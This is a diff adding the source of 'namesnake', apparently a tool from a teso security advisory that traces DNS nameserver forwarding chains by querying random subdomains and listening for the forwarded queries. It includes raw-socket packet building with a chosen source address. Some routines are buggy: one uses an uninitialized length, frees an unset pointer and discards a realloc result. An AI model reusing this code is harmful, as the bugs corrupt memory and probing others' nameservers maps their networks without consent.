| 51 | * | ||
| 52 | * print a packet into the dns window | ||
| 53 | */ | ||
| 54 | |||
| 55 | void dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data, | ||
| 56 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 57 | unsigned char *d_addi[], int print); | ||
| 58 | int dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], | ||
| 59 | unsigned char *d_answ[], unsigned char *d_auth[], unsigned char *d_addi[]); | ||
| 60 | void dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); | ||
| 61 | void dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); | ||
| 62 | void dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, u_short rtype, | ||
| 63 | unsigned char *rdp, u_short rdlen); | ||
| 64 | int dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig); | ||
| 65 | |||
| 66 | #endif | ||
| 67 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.c b/advisories/teso-advisory-003/namesnake/src/io-udp.c new file mode 100644 index 0000000..277f17a --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/io-udp.c | |||
| @@ -0,0 +1,212 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | * | ||
| 5 | * udp packet routines include file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #include <sys/types.h> | ||
| 9 | #include <sys/socket.h> | ||
| 10 | #include <sys/time.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <netinet/ip.h> | ||
| 13 | #include <arpa/inet.h> | ||
| 14 | #include <stdlib.h> | ||
| 15 | #include <unistd.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | #include <libnet.h> | ||
| 18 | #include "common.h" | ||
| 19 | #include "io-udp.h" | ||
| 20 | #include "network.h" | ||
| 21 | |||
| 22 | |||
| 23 | void | ||
| 24 | udp_listen_free (udp_listen *ul) | ||
| 25 | { | ||
| 26 | if (ul == NULL) | ||
| 27 | return; | ||
| 28 | |||
| 29 | if (ul->socket != 0) | ||
| 30 | close (ul->socket); | ||
| 31 | |||
| 32 | free (ul); | ||
| 33 | |||
| 34 | return; | ||
| 35 | } | ||
| 36 | |||
| 37 | |||
| 38 | udp_listen * | ||
| 39 | udp_setup (char *ip, unsigned short int port) | ||
| 40 | { | ||
| 41 | int n; /* temporary return value */ | ||
| 42 | udp_listen *new = xcalloc (1, sizeof (udp_listen)); | ||
| 43 | |||
| 44 | new->addr_serv.sin_family = AF_INET; | ||
| 45 | new->addr_serv.sin_port = htons (port); | ||
| 46 | |||
| 47 | if (ip == NULL) { | ||
| 48 | new->addr_serv.sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 49 | } else { | ||
| 50 | new->addr_serv.sin_addr.s_addr = net_resolve (ip); | ||
| 51 | if (new->addr_serv.sin_addr.s_addr == 0) | ||
| 52 | goto u_fail; | ||
| 53 | } | ||
| 54 | |||
| 55 | new->port = port; | ||
| 56 | |||
| 57 | /* aquire udp socket | ||
| 58 | */ | ||
| 59 | new->socket = socket (AF_INET, SOCK_DGRAM, 0); | ||
| 60 | if (new->socket == -1) | ||
| 61 | goto u_fail; | ||
| 62 | |||
| 63 | n = bind (new->socket, (struct sockaddr *) &new->addr_serv, sizeof (new->addr_serv)); | ||
| 64 | if (n == -1) | ||
| 65 | goto u_fail; | ||
| 66 | |||
| 67 | return (new); | ||
| 68 | |||
| 69 | u_fail: | ||
| 70 | if (new->socket != 0) | ||
| 71 | close (new->socket); | ||
| 72 | |||
| 73 | free (new); | ||
| 74 | |||
| 75 | return (NULL); | ||
| 76 | } | ||
| 77 | |||
| 78 | |||
| 79 | void | ||
| 80 | udp_rcv_free (udp_rcv *ur) | ||
| 81 | { | ||
| 82 | if (ur == NULL) | ||
| 83 | return; | ||
| 84 | |||
| 85 | if (ur->udp_data != NULL) | ||
| 86 | free (ur->udp_data); | ||
| 87 | |||
| 88 | free (ur); | ||
| 89 | |||
| 90 | return; | ||
| 91 | } | ||
| 92 | |||
| 93 | |||
| 94 | udp_rcv * | ||
| 95 | udp_receive (udp_listen *ul, struct timeval *tv) | ||
| 96 | { | ||
| 97 | int n; /* temporary return value */ | ||
| 98 | udp_rcv *u_rcv; /* new received udp datagram */ | ||
| 99 | unsigned char *u_packet; | ||
| 100 | socklen_t len; | ||
| 101 | fd_set fds; | ||
| 102 | |||
| 103 | if (ul == NULL) | ||
| 104 | return (NULL); | ||
| 105 | |||
| 106 | u_rcv = xcalloc (1, sizeof (udp_rcv)); | ||
| 107 | u_packet = xcalloc (1, IP_MAXPACKET); | ||
| 108 | |||
| 109 | len = sizeof (struct sockaddr_in); | ||
| 110 | FD_ZERO (&fds); | ||
| 111 | FD_SET (ul->socket, &fds); | ||
| 112 | n = select (ul->socket + 1, &fds, NULL, &fds, tv); | ||
| 113 | if (n <= 0) | ||
| 114 | goto ur_fail; | ||
| 115 | |||
| 116 | n = recvfrom (ul->socket, u_packet, IP_MAXPACKET, 0, | ||
| 117 | &u_rcv->addr_client, &len); | ||
| 118 | if (n == -1) | ||
| 119 | goto ur_fail; | ||
| 120 | |||
| 121 | /* save time the packet was received and copy the received data | ||
| 122 | */ | ||
| 123 | gettimeofday (&u_rcv->udp_time, NULL); | ||
| 124 | xrealloc (u_packet, n); | ||
| 125 | u_rcv->udp_data = u_packet; | ||
| 126 | u_rcv->udp_len = n; | ||
| 127 | ul->count++; | ||
| 128 | |||
| 129 | return (u_rcv); | ||
| 130 | |||
| 131 | ur_fail: | ||
| 132 | free (u_rcv); | ||
| 133 | free (u_packet); | ||
| 134 | |||
| 135 | return (NULL); | ||
| 136 | } | ||
| 137 | |||
| 138 | |||
| 139 | void | ||
| 140 | udp_write (char *ip, unsigned short int port, unsigned char *data, | ||
| 141 | size_t data_len) | ||
| 142 | { | ||
| 143 | int udp_sockfd; | ||
| 144 | struct sockaddr_in udp_to; | ||
| 145 | |||
| 146 | udp_sockfd = socket (AF_INET, SOCK_DGRAM, 0); | ||
| 147 | if (udp_sockfd == -1) | ||
| 148 | return; | ||
| 149 | |||
| 150 | memset (&udp_to, '\0', sizeof (udp_to)); | ||
| 151 | udp_to.sin_family = AF_INET; | ||
| 152 | udp_to.sin_addr.s_addr = net_resolve (ip); | ||
| 153 | udp_to.sin_port = htons (port); | ||
| 154 | |||
| 155 | /* send packet | ||
| 156 | */ | ||
| 157 | sendto (udp_sockfd, data, data_len, 0, &udp_to, sizeof (udp_to)); | ||
| 158 | |||
| 159 | close (udp_sockfd); | ||
| 160 | |||
| 161 | return; | ||
| 162 | } | ||
| 163 | |||
| 164 | |||
| 165 | void | ||
| 166 | udp_send (char *ip_src, unsigned short int port_src, | ||
| 167 | char *ip_dst, unsigned short int port_dst, | ||
| 168 | unsigned char *data, size_t data_len) | ||
| 169 | { | ||
| 170 | unsigned char *data_enc, | ||
| 171 | *pkt_buf; | ||
| 172 | unsigned short int port_a_src; | ||
| 173 | size_t len; | ||
| 174 | char *ip_a_src; | ||
| 175 | int raw_socket; | ||
| 176 | |||
| 177 | ip_a_src = (ip_src == NULL) ? net_getlocalip () : xstrdup (ip_src); | ||
| 178 | port_a_src = (port_src == 0) ? libnet_get_prand (PRu16) : port_src; | ||
| 179 | pkt_buf = xcalloc (1, data_len + IP_H + UDP_H); | ||
| 180 | |||
| 181 | libnet_build_ip (UDP_H + len, /* content length */ | ||
| 182 | 0, /* ip type of service */ | ||
| 183 | libnet_get_prand (PRu16), /* ip id */ | ||
| 184 | 0, /* we don't fragment */ | ||
| 185 | 64, /* ip ttl */ | ||
| 186 | IPPROTO_UDP, /* ip subproto */ | ||
| 187 | libnet_name_resolve (ip_a_src, 0), /* ip source address */ | ||
| 188 | libnet_name_resolve (ip_dst, 0),/* ip destination address */ | ||
| 189 | NULL, 0, /* payload */ | ||
| 190 | pkt_buf); | ||
| 191 | |||
| 192 | libnet_build_udp (port_a_src, /* source port */ | ||
| 193 | port_dst, /* destination port */ | ||
| 194 | data, /* payload r0x0r */ | ||
| 195 | data_len, /* payload length */ | ||
| 196 | pkt_buf + IP_H); | ||
| 197 | |||
| 198 | raw_socket = libnet_open_raw_sock (IPPROTO_RAW); | ||
| 199 | |||
| 200 | if (raw_socket != -1) { | ||
| 201 | libnet_write_ip (raw_socket, pkt_buf, IP_H + UDP_H + len); | ||
| 202 | |||
| 203 | close (raw_socket); | ||
| 204 | } | ||
| 205 | |||
| 206 | free (pkt_buf); | ||
| 207 | free (data_enc); | ||
| 208 | free (ip_a_src); | ||
| 209 | |||
| 210 | return; | ||
| 211 | } | ||
| 212 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.h b/advisories/teso-advisory-003/namesnake/src/io-udp.h new file mode 100644 index 0000000..8a6775a --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/io-udp.h | |||
| @@ -0,0 +1,121 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | * | ||
| 5 | * udp packet routines include file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef _FNX_IO_UDP_H | ||
| 9 | #define _FNX_IO_UDP_H | ||
| 10 | |||
| 11 | #include <sys/types.h> | ||
| 12 | #include <sys/socket.h> | ||
| 13 | #include <sys/time.h> | ||
| 14 | #include <netinet/in.h> | ||
| 15 | #include <arpa/inet.h> | ||
| 16 | #include <unistd.h> | ||
| 17 | #include <stdio.h> | ||
| 18 | |||
| 19 | |||
| 20 | /* udp receival entity | ||
| 21 | */ | ||
| 22 | |||
| 23 | typedef struct udp_listen { | ||
| 24 | unsigned long int count; /* number of packets received */ | ||
| 25 | struct in_addr ip; /* ip to receive data on */ | ||
| 26 | unsigned short int port; /* port to receive data on */ | ||
| 27 | int socket; /* listening socket */ | ||
| 28 | struct sockaddr_in addr_serv; | ||
| 29 | } udp_listen; | ||
| 30 | |||
| 31 | |||
| 32 | /* udp datagram structure | ||
| 33 | */ | ||
| 34 | |||
| 35 | typedef struct udp_rcv { | ||
| 36 | struct sockaddr_in addr_client; /* source address */ | ||
| 37 | struct timeval udp_time; /* time of receival */ | ||
| 38 | socklen_t udp_len; /* length of the udp datagramm */ | ||
| 39 | unsigned char *udp_data; /* received udp datagramm */ | ||
| 40 | } udp_rcv; | ||
| 41 | |||
| 42 | |||
| 43 | /* udp_listen_free | ||
| 44 | * | ||
| 45 | * free a udp_listen structure pointed to by `ul' | ||
| 46 | * | ||
| 47 | * return in any case | ||
| 48 | */ | ||
| 49 | |||
| 50 | void udp_listen_free (udp_listen *ul); | ||
| 51 | |||
| 52 | |||
| 53 | /* udp_setup | ||
| 54 | * | ||
| 55 | * start a new listening udp service with the bound ip `ip', which can be | ||
| 56 | * either a numeric ip address or "*" (or NULL) for all locally available | ||
| 57 | * ip addresses. the listening port is `port'. | ||
| 58 | * | ||
| 59 | * return NULL on failure | ||
| 60 | * return a pointer to a udp_listen structure on success | ||
| 61 | */ | ||
| 62 | |||
| 63 | udp_listen *udp_setup (char *ip, unsigned short int port); | ||
| 64 | |||
| 65 | |||
| 66 | /* udp_rcv_free | ||
| 67 | * | ||
| 68 | * free a udp_rcv structure pointed to by `ur' | ||
| 69 | * | ||
| 70 | * return in any case | ||
| 71 | */ | ||
| 72 | |||
| 73 | void udp_rcv_free (udp_rcv *ur); | ||
| 74 | |||
| 75 | |||
| 76 | /* udp_receive | ||
| 77 | * | ||
| 78 | * receive an udp datagramm on the network entity specified by the `ul' | ||
| 79 | * structure | ||
| 80 | * | ||
| 81 | * return NULL on failure | ||
| 82 | * return a pointer to a new udp_rcv structure on success | ||
| 83 | */ | ||
| 84 | |||
| 85 | udp_rcv *udp_receive (udp_listen *ul, struct timeval *tv); | ||
| 86 | |||
| 87 | |||
| 88 | /* udp_write | ||
| 89 | * | ||
| 90 | * send an udp datagram using the system level datagram sockets. send | ||
| 91 | * `data_len' bytes from `data' to the host with the ip `ip' on port | ||
| 92 | * `port' | ||
| 93 | * | ||
| 94 | * return in any case | ||
| 95 | */ | ||
| 96 | |||
| 97 | void | ||
| 98 | udp_write (char *ip, unsigned short int port, unsigned char *data, | ||
| 99 | size_t data_len); | ||
| 100 | |||
| 101 | |||
| 102 | /* udp_send | ||
| 103 | * | ||
| 104 | * send an udp datagram using raw socket. the datagram will be assigned the | ||
| 105 | * source ip address of the local host if `ip_src' is NULL and the source IP | ||
| 106 | * address `ip_src' if it is not. the source port will be random if `port_src' | ||
| 107 | * equals zero, else it is assigned the value of it. | ||
| 108 | * the destination ip address is `ip_dst', the destination port is `port_dst'.. | ||
| 109 | * the payload is `data', which is `data_len' bytes long. the data will be | ||
| 110 | * encrypted with `key' if it is not NULL. | ||
| 111 | * | ||
| 112 | * return in any case | ||
| 113 | */ | ||
| 114 | |||
| 115 | void udp_send (char *ip_src, unsigned short int port_src, | ||
| 116 | char *ip_dst, unsigned short int port_dst, | ||
| 117 | unsigned char *data, size_t data_len); | ||
| 118 | |||
| 119 | |||
| 120 | #endif | ||
| 121 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/namesnake.c b/advisories/teso-advisory-003/namesnake/src/namesnake.c new file mode 100644 index 0000000..4db4607 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/namesnake.c | |||
| @@ -0,0 +1,271 @@ | |||
| 1 | /* namesnake - dns path discovery and measurement tool | ||
| 2 | * | ||
| 3 | * by scut of teso | ||
| 4 | * | ||
| 5 | * main file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #define VERSION "0.0.2" | ||
| 9 | #define AUTHORS "scut of teso" | ||
| 10 | |||
| 11 | #include <sys/types.h> | ||
| 12 | #include <netinet/in.h> | ||
| 13 | #include <time.h> | ||
| 14 | #include <stdlib.h> | ||
| 15 | #include <stdio.h> | ||
| 16 | #include "common.h" | ||
| 17 | #include "network.h" | ||
| 18 | #include "dns-build.h" | ||
| 19 | #include "dns.h" | ||
| 20 | #include "io-udp.h" | ||
| 21 | |||
| 22 | |||
| 23 | typedef struct { | ||
| 24 | char * ip; | ||
| 25 | int count_resp; | ||
| 26 | } ns; | ||
| 27 | |||
| 28 | char * ns_domain; | ||
| 29 | |||
| 30 | int usage (char *program); | ||
| 31 | ns ** ns_hop_trace (char *ip_snake, char *domain_our); | ||
| 32 | void snakeprint (ns **list, int indent); | ||
| 33 | int snakequick (char *ip_snake, char *domain_our); | ||
| 34 | int snake (char *ip_snake, char *domain_our); | ||
| 35 | |||
| 36 | char * mode = "trace"; | ||
| 37 | char * ip_local = NULL; | ||
| 38 | udp_listen * ul; | ||
| 39 | |||
| 40 | |||
| 41 | int | ||
| 42 | usage (char *program) | ||
| 43 | { | ||
| 44 | printf ("usage: %s <ourdomain> <nameserver> [mode]\n\n" | ||
| 45 | "ourdomain the domain that references to our current ip\n" | ||
| 46 | "nameserver the startpoint for the nameserver chain to trace\n" | ||
| 47 | "mode either \"quick\" or \"trace\"\n\n", | ||
| 48 | program); | ||
| 49 | |||
| 50 | exit (EXIT_FAILURE); | ||
| 51 | } | ||
| 52 | |||
| 53 | |||
| 54 | int | ||
| 55 | main (int argc, char **argv) | ||
| 56 | { | ||
| 57 | char * ip_bind = NULL; | ||
| 58 | |||
| 59 | printf ("namesnake "VERSION" by "AUTHORS"\n\n"); | ||
| 60 | |||
| 61 | if (argc < 3) | ||
| 62 | usage (argv[0]); | ||
| 63 | |||
| 64 | if (argc == 4 && strcmp (argv[3], "quick") == 0) | ||
| 65 | mode = argv[3]; | ||
| 66 | |||
| 67 | ip_local = net_getlocalip (); | ||
| 68 | ul = udp_setup (ip_bind, 53); | ||
| 69 | if (ul == NULL) { | ||
| 70 | fprintf (stderr, "failed to bind to port 53, try specifying a local ip to bind to\n"); | ||
| 71 | exit (EXIT_FAILURE); | ||
| 72 | } | ||
| 73 | |||
| 74 | printf ("[ns] listener bound to %s:53\n", (ip_bind == NULL) ? "*" : ip_bind); | ||
| 75 | printf ("[ns] tracing %s through the help of our domain %s\n", argv[2], argv[1]); | ||
| 76 | printf ("===============================================================================\n"); | ||
| 77 | |||
| 78 | srandom (time (NULL)); | ||
| 79 | |||
| 80 | if (strcmp (mode, "quick") == 0) | ||
| 81 | snakequick (argv[2], argv[1]); | ||
| 82 | else | ||
| 83 | snake (argv[2], argv[1]); | ||
| 84 | |||
| 85 | udp_listen_free (ul); | ||
| 86 | exit (EXIT_SUCCESS); | ||
| 87 | } | ||
| 88 | |||
| 89 | |||
| 90 | ns ** | ||
| 91 | ns_hop_trace (char *ip_snake, char *domain_our) | ||
| 92 | { | ||
| 93 | ns ** ns_ret = NULL; | ||
| 94 | int ns_entry_count = 0; | ||
| 95 | char * ip; | ||
| 96 | int i,m; | ||
| 97 | dns_pdata * dp; | ||
| 98 | char * querydomain; | ||
| 99 | int count = 0; | ||
| 100 | udp_rcv * ur; | ||
| 101 | struct timeval tv_start; | ||
| 102 | struct timeval tv; | ||
| 103 | int bc = 0; | ||
| 104 | |||
| 105 | gettimeofday (&tv_start, NULL); | ||
| 106 | |||
| 107 | /* construct and send dns query | ||
| 108 | */ | ||
| 109 | dp = dns_build_new (); | ||
| 110 | querydomain = dns_build_random (domain_our, 0); | ||
| 111 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 112 | dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53, | ||
| 113 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 114 | dns_build_destroy (dp); | ||
| 115 | |||
| 116 | while (bc == 0) { | ||
| 117 | struct timeval tv_now; | ||
| 118 | |||
| 119 | gettimeofday (&tv_now, NULL); | ||
| 120 | tv.tv_sec = 140 - (tv_now.tv_sec - tv_start.tv_sec); | ||
| 121 | tv.tv_usec = 0; | ||
| 122 | |||
| 123 | ur = NULL; | ||
| 124 | if ((tv_now.tv_sec - tv_start.tv_sec) >= 0) | ||
| 125 | ur = udp_receive (ul, &tv); | ||
| 126 | |||
| 127 | if (ur != NULL) { | ||
| 128 | dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 0); | ||
| 129 | if (strcmp (querydomain, ns_domain) == 0) { | ||
| 130 | count++; | ||
| 131 | |||
| 132 | net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip); | ||
| 133 | m = 0; | ||
| 134 | for (i = 0 ; ns_ret != NULL && ns_ret[i] != NULL ; ++i) { | ||
| 135 | if (strcmp (ns_ret[i]->ip, ip) == 0) { | ||
| 136 | ns_ret[i]->count_resp += 1; | ||
| 137 | m = 1; | ||
| 138 | } | ||
| 139 | } | ||
| 140 | if (m == 0) { | ||
| 141 | ns_entry_count += 1; | ||
| 142 | ns_ret = xrealloc (ns_ret, (ns_entry_count + 1) * sizeof (ns *)); | ||
| 143 | ns_ret[ns_entry_count] = NULL; | ||
| 144 | ns_ret[ns_entry_count - 1] = xcalloc (1, sizeof (ns)); | ||
| 145 | |||
| 146 | ns_ret[ns_entry_count - 1]->ip = ip; | ||
| 147 | ns_ret[ns_entry_count - 1]->count_resp = 1; | ||
| 148 | } | ||
| 149 | } else { | ||
| 150 | printf ("*!* received unrelated packet\n"); | ||
| 151 | } | ||
| 152 | udp_rcv_free (ur); | ||
| 153 | free (ns_domain); | ||
| 154 | } | ||
| 155 | |||
| 156 | if (ur == NULL) | ||
| 157 | bc = 1; | ||
| 158 | } | ||
| 159 | |||
| 160 | free (querydomain); | ||
| 161 | |||
| 162 | return (ns_ret); | ||
| 163 | |||
| 164 | } | ||
| 165 | |||
| 166 | |||
| 167 | int | ||
| 168 | snakequick (char *ip_snake, char *domain_our) | ||
| 169 | { | ||
| 170 | char * ip; | ||
| 171 | dns_pdata * dp; | ||
| 172 | char * querydomain; | ||
| 173 | int count = 0; | ||
| 174 | udp_rcv * ur; | ||
| 175 | struct timeval tv_start; | ||
| 176 | struct timeval tv; | ||
| 177 | int bc = 0; | ||
| 178 | |||
| 179 | gettimeofday (&tv_start, NULL); | ||
| 180 | |||
| 181 | /* construct and send dns query | ||
| 182 | */ | ||
| 183 | dp = dns_build_new (); | ||
| 184 | querydomain = dns_build_random (domain_our, 0); | ||
| 185 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 186 | dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53, | ||
| 187 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 188 | dns_build_destroy (dp); | ||
| 189 | printf ("asking for %s\n", querydomain); | ||
| 190 | free (querydomain); | ||
| 191 | |||
| 192 | while (bc == 0) { | ||
| 193 | struct timeval tv_now; | ||
| 194 | |||
| 195 | gettimeofday (&tv_now, NULL); | ||
| 196 | tv.tv_sec = 90 - (tv_now.tv_sec - tv_start.tv_sec); | ||
| 197 | tv.tv_usec = 0; | ||
| 198 | |||
| 199 | ur = NULL; | ||
| 200 | if ((tv_now.tv_sec - tv_start.tv_sec) >= 0) | ||
| 201 | ur = udp_receive (ul, &tv); | ||
| 202 | |||
| 203 | if (ur != NULL) { | ||
| 204 | count++; | ||
| 205 | net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip); | ||
| 206 | printf ("%s\t== ", ip); | ||
| 207 | dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 1); | ||
| 208 | udp_rcv_free (ur); | ||
| 209 | } | ||
| 210 | |||
| 211 | if (ur == NULL) | ||
| 212 | bc = 1; | ||
| 213 | } | ||
| 214 | |||
| 215 | fprintf (stderr, "%s %d\n", ip_snake, count); | ||
| 216 | |||
| 217 | return (1); | ||
| 218 | } | ||
| 219 | |||
| 220 | |||
| 221 | void | ||
| 222 | snakeprint (ns **list, int indent) | ||
| 223 | { | ||
| 224 | int walker, | ||
| 225 | indent_tmp; | ||
| 226 | |||
| 227 | if (list == NULL) | ||
| 228 | return; | ||
| 229 | |||
| 230 | for (walker = 0 ; list[walker] != NULL ; ++walker) { | ||
| 231 | for (indent_tmp = indent ; indent_tmp > 0 ; --indent_tmp) { | ||
| 232 | printf ("\t"); | ||
| 233 | } | ||
| 234 | printf ("%3d %s\n", list[walker]->count_resp, list[walker]->ip); | ||
| 235 | } | ||
| 236 | |||
| 237 | return; | ||
| 238 | } | ||
| 239 | |||
| 240 | |||
| 241 | int | ||
| 242 | snake (char *ip_snake, char *domain_our) | ||
| 243 | { | ||
| 244 | ns *** pathway; | ||
| 245 | ns ** base; | ||
| 246 | int walker; | ||
| 247 | int ns_count; | ||
| 248 | |||
| 249 | |||
| 250 | base = ns_hop_trace (ip_snake, domain_our); | ||
| 251 | if (base == NULL || base[0] == NULL) | ||
| 252 | return (0); | ||
| 253 | |||
| 254 | printf ("%s\n", ip_snake); | ||
| 255 | snakeprint (base, 1); | ||
| 256 | for (ns_count = 0 ; base[ns_count] != NULL ; ++ns_count) | ||
| 257 | ; | ||
| 258 | printf ("======== tracing pathway of %d servers ========\n", ns_count); | ||
| 259 | |||
| 260 | ns_count += 1; | ||
| 261 | pathway = xcalloc (1, sizeof (ns **) * (ns_count)); | ||
| 262 | for (walker = 0 ; base[walker] != NULL ; ++walker) { | ||
| 263 | printf ("=== %s\n", base[walker]->ip); | ||
| 264 | pathway[walker] = ns_hop_trace (base[walker]->ip, domain_our); | ||
| 265 | snakeprint (pathway[walker], 1); | ||
| 266 | } | ||
| 267 | |||
| 268 | return (1); | ||
| 269 | } | ||
| 270 | |||
| 271 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/network.c b/advisories/teso-advisory-003/namesnake/src/network.c new file mode 100644 index 0000000..4d56546 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/network.c | |||
| @@ -0,0 +1,362 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * network primitives | ||
| 4 | * | ||
| 5 | * by scut | ||
| 6 | * | ||
| 7 | * nearly all of this code wouldn't have been possible without w. richard stevens | ||
| 8 | * excellent network coding book. if you are interested in network coding, | ||
| 9 | * there is no way around it. | ||
| 10 | */ | ||
| 11 | |||
| 12 | #include <sys/types.h> | ||
| 13 | #include <sys/ioctl.h> | ||
| 14 | #include <sys/socket.h> | ||
| 15 | #include <sys/time.h> | ||
| 16 | #include <arpa/inet.h> | ||
| 17 | #include <netdb.h> | ||
| 18 | #include <net/if.h> | ||
| 19 | #include <netinet/in.h> | ||
| 20 | #include <errno.h> | ||
| 21 | #include <fcntl.h> | ||
| 22 | #include <stdarg.h> | ||
| 23 | #include <stdio.h> | ||
| 24 | #include <stdlib.h> | ||
| 25 | #include <string.h> | ||
| 26 | #include <unistd.h> | ||
| 27 | #include "common.h" | ||
| 28 | #include "network.h" | ||
| 29 | |||
| 30 | |||
| 31 | int | ||
| 32 | net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, | ||
| 33 | int sec) | ||
| 34 | { | ||
| 35 | int n, len, error, flags; | ||
| 36 | int fd; | ||
| 37 | struct timeval tv; | ||
| 38 | struct sockaddr_in tmp_cs; | ||
| 39 | fd_set rset, wset; | ||
| 40 | |||
| 41 | |||
| 42 | if (cs == NULL) | ||
| 43 | cs = &tmp_cs; | ||
| 44 | |||
| 45 | /* first allocate a socket */ | ||
| 46 | cs->sin_family = AF_INET; | ||
| 47 | cs->sin_port = htons (port); | ||
| 48 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 49 | if (fd == -1) | ||
| 50 | return (-1); | ||
| 51 | |||
| 52 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 53 | close (fd); | ||
| 54 | |||
| 55 | return (-1); | ||
| 56 | } | ||
| 57 | |||
| 58 | flags = fcntl (fd, F_GETFL, 0); | ||
| 59 | if (flags == -1) { | ||
| 60 | close (fd); | ||
| 61 | |||
| 62 | return (-1); | ||
| 63 | } | ||
| 64 | |||
| 65 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 66 | if (n == -1) { | ||
| 67 | close (fd); | ||
| 68 | |||
| 69 | return (-1); | ||
| 70 | } | ||
| 71 | |||
| 72 | error = 0; | ||
| 73 | |||
| 74 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 75 | if (n < 0) { | ||
| 76 | if (errno != EINPROGRESS) { | ||
| 77 | close (fd); | ||
| 78 | |||
| 79 | return (-1); | ||
| 80 | } | ||
| 81 | } | ||
| 82 | if (n == 0) | ||
| 83 | goto done; | ||
| 84 | |||
| 85 | FD_ZERO (&rset); | ||
| 86 | FD_ZERO (&wset); | ||
| 87 | FD_SET (fd, &rset); | ||
| 88 | FD_SET (fd, &wset); | ||
| 89 | tv.tv_sec = sec; | ||
| 90 | tv.tv_usec = 0; | ||
| 91 | |||
| 92 | n = select (fd + 1, &rset, &wset, NULL, &tv); | ||
| 93 | if (n == 0) { | ||
| 94 | close (fd); | ||
| 95 | errno = ETIMEDOUT; | ||
| 96 | |||
| 97 | return (-1); | ||
| 98 | } | ||
| 99 | if (n == -1) | ||
| 100 | return (-1); | ||
| 101 | |||
| 102 | if (FD_ISSET (fd, &rset) || FD_ISSET (fd, &wset)) { | ||
| 103 | if (FD_ISSET (fd, &rset) && FD_ISSET (fd, &wset)) { | ||
| 104 | len = sizeof (error); | ||
| 105 | if (getsockopt (fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 106 | errno = ETIMEDOUT; | ||
| 107 | return (-1); | ||
| 108 | } | ||
| 109 | if (error == 0) { | ||
| 110 | goto done; | ||
| 111 | } else { | ||
| 112 | errno = error; | ||
| 113 | return (-1); | ||
| 114 | } | ||
| 115 | } | ||
| 116 | } else | ||
| 117 | return (-1); | ||
| 118 | |||
| 119 | done: | ||
| 120 | n = fcntl (fd, F_SETFL, flags); | ||
| 121 | if (n == -1) | ||
| 122 | return (-1); | ||
| 123 | return (fd); | ||
| 124 | } | ||
| 125 | |||
| 126 | |||
| 127 | int | ||
| 128 | net_accept (int s, struct sockaddr_in *cs, int maxsec) | ||
| 129 | { | ||
| 130 | int flags, n; | ||
| 131 | fd_set ac_s; | ||
| 132 | int len; | ||
| 133 | struct timeval tval; | ||
| 134 | |||
| 135 | flags = fcntl (s, F_GETFL, 0); | ||
| 136 | if (flags == -1) | ||
| 137 | return (-1); | ||
| 138 | n = fcntl (s, F_SETFL, flags | O_NONBLOCK); | ||
| 139 | if (flags == -1) | ||
| 140 | return (-1); | ||
| 141 | |||
| 142 | FD_ZERO (&ac_s); | ||
| 143 | FD_SET (s, &ac_s); | ||
| 144 | tval.tv_sec = maxsec; | ||
| 145 | tval.tv_usec = 0; | ||
| 146 | |||
| 147 | n = select (s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); | ||
| 148 | if (n == 0) | ||
| 149 | return (0); | ||
| 150 | |||
| 151 | if (FD_ISSET (s, &ac_s)) { | ||
| 152 | len = sizeof (struct sockaddr_in); | ||
| 153 | n = accept (s, (struct sockaddr *) cs, &len); | ||
| 154 | if (n == -1) { | ||
| 155 | switch (errno) { | ||
| 156 | case EWOULDBLOCK: | ||
| 157 | case ECONNABORTED: | ||
| 158 | case EPROTO: | ||
| 159 | case EINTR: if (fcntl (s, F_SETFL, flags) == -1) | ||
| 160 | return (-1); | ||
| 161 | return (0); | ||
| 162 | default: return (-1); | ||
| 163 | } | ||
| 164 | } | ||
| 165 | if (fcntl (s, F_SETFL, flags) == -1) | ||
| 166 | return (-1); | ||
| 167 | return (n); | ||
| 168 | } | ||
| 169 | if (fcntl (s, F_SETFL, flags) == -1) | ||
| 170 | return (-1); | ||
| 171 | |||
| 172 | return (0); | ||
| 173 | } | ||
| 174 | |||
| 175 | |||
| 176 | void | ||
| 177 | net_boundfree (bound *bf) | ||
